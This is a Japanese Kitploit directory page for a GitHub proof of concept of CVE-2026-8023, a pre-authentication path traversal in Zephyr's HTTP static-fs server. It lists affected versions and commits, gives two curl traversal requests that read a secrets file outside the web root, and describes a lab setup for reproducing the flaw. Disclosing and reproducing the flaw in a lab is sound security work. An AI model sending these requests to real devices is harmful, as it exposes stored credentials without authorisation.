Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-8023 — CVE-2026-8023 の PoC: 制限付きディレクトリへのパス名の不適切な制限('パストラバーサル') | Kitploit
ツール/GitHubGitHub/ret2c/cve-2026-8023
組み込みシステムセキュリティIoTセキュリティ脆弱性分析エクスプロイトウェブアプリケーション悪用ウェブセキュリティ
GitHubret2c/cve-2026-8023

CVE-2026-8023

CVE-2026-8023 の PoC: 制限付きディレクトリへのパス名の不適切な制限('パストラバーサル')

リポジトリを見る
1ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
ウェブサイト

CVE-2026-8023 — Zephyr HTTP static-fs パストラバーサル (PoC)

Zephyr の HTTP サーバー static-fs ハンドラー (subsys/net/lib/http) における認証前パストラバーサル。ワイルドカードリソースマッチング (CONFIG_HTTP_SERVER_RESOURCE_WILDCARD=y) を HTTP_RESOURCE_TYPE_STATIC_FS と組み合わせて使用する場合に影響します。HTTP/1.1 と HTTP/2 の両方に影響します。

GHSA: GHSA-hch3-53g6-jj3h

  • 影響を受けるバージョン: >= 4.0.0, < 4.3.1; >= 4.4.0, < 4.4.2
  • 確認済みコミット: b93e61d02d5cd08d2fc559feb0253f9de3491777 (v4.4.0-rc1-32-gb93e61d02d5)
  • 導入コミット: e55278a87be4e5534ba772b23e459882866bcd6d (2024-07-31)
  • 修正コミット: zephyrproject-rtos/zephyr#108531
root@kitploit:~
curl --http1.1 --path-as-is -i "http://$URL/www/../device.env"
curl --http2-prior-knowledge --path-as-is -i "http://$URL/www/../device.env"

再現手順

root@kitploit:~
git clone https://github.com/zephyrproject-rtos/zephyr.git
cd zephyr && git checkout b93e61d02d5cd08d2fc559feb0253f9de3491777 && cd ..
west init -l zephyr
west update

# このリポジトリの pocs/ の内容を zephyr/pocs/ にコピーする
docker build -f zephyr/pocs/Dockerfile.native-sim -t zephyr-httpfs-zdi .
docker run --rm -it -v "$PWD":/work -w /work zephyr-httpfs-zdi bash

# コンテナ内:
west build -p always -b native_sim/native/64 \
    zephyr/pocs/http_static_fs_native_sim \
    -- -DEXTRA_DTC_OVERLAY_FILE=ramdisk.overlay
./build/zephyr/zephyr.exe

このハーネスは LittleFS イメージをマウントし、/littlefs/www/ Web ルートの外にある /littlefs/device.env に秘密情報を書き込み、ワイルドカード static-fs ルートを公開してから、4 つのループバックリクエストを発行します:

ツールをダウンロード
プローブリクエスト期待される結果
HTTP1_GLOB_TRAVERSALGET /www/../device.env (HTTP/1.1)200 + 秘密情報
HTTP1_ENCODED_TRAVERSALGET /www/%2e%2e/device.env (HTTP/1.1)404 (デコードなし)
HTTP2_GLOB_TRAVERSAL:path = /www/../device.env (HTTP/2)秘密情報のバイト列
HTTP2_ENCODED_TRAVERSAL:path = /www/%2e%2e/device.env (HTTP/2)秘密情報なし